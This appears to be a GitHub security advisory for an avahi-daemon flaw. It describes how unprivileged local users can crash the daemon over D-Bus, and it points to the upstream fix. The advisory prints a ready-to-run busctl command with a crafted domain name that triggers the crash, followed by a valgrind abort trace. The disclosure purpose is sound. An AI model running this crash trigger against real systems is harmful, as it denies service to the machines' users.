Skip to content

GHSA-4v6h-9g73-wm5j

CVE Information

avahi-daemon can be crashed by unprivileged local users via D-Bus by calling the RecordBrowserNew method with names that pass the avahi_is_valid_domain_name check and can't be normalized with avahi_normalize_name_strdup at the same time: 

busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server RecordBrowserNew "iisqqu" -- -1 -1 '[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[.[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[' 0 0 0


avahi-daemon: dbus-protocol.c:984: dbus_prepare_record_browser_object: Assertion `key' failed.                                                                
==2424==                                                                                                                                                      
==2424== Process terminating with default action of signal 6 (SIGABRT)                                                                                        
==2424==    at 0x4B31DCC: __pthread_kill_implementation (in /usr/lib64/libc.so.6)                                                                             
==2424==    by 0x4AD6F8D: raise (in /usr/lib64/libc.so.6)                                                                                                     
==2424==    by 0x4ABE7B2: abort (in /usr/lib64/libc.so.6)                                                                                                     
==2424==    by 0x4ABF803: __libc_message_impl.cold (in /usr/lib64/libc.so.6)                                                                                  
==2424==    by 0x4ACEE44: __assert_fail (in /usr/lib64/libc.so.6)                                                                                             
==2424==    by 0x4002FB8: dbus_prepare_record_browser_object.cold (dbus-protocol.c:984)                                                                       
==2424==    by 0x400E4E9: dbus_select_browser.isra.0 (dbus-protocol.c:1119)                                                                                   
==2424==    by 0x400FCA0: msg_server_impl (dbus-protocol.c:1185)                                                                                              
==2424==    by 0x4A75DA3: dbus_connection_dispatch (in /usr/lib64/libdbus-1.so.3.38.3)                                                                        
==2424==    by 0x4014122: dispatch_timeout_callback.lto_priv.0 (dbus-watch-glue.c:105)                                                                        
==2424==    by 0x489CB4F: avahi_simple_poll_dispatch (in /usr/lib64/libavahi-common.so.3.5.4)                                                                 
==2424==    by 0x4004EF7: run_server (main.c:1279)                                                                                                            
==2424==    by 0x4004EF7: main (main.c:1708)                                                                                                                  
==2424==

It was fixed in https://github.com/avahi/avahi/pull/939.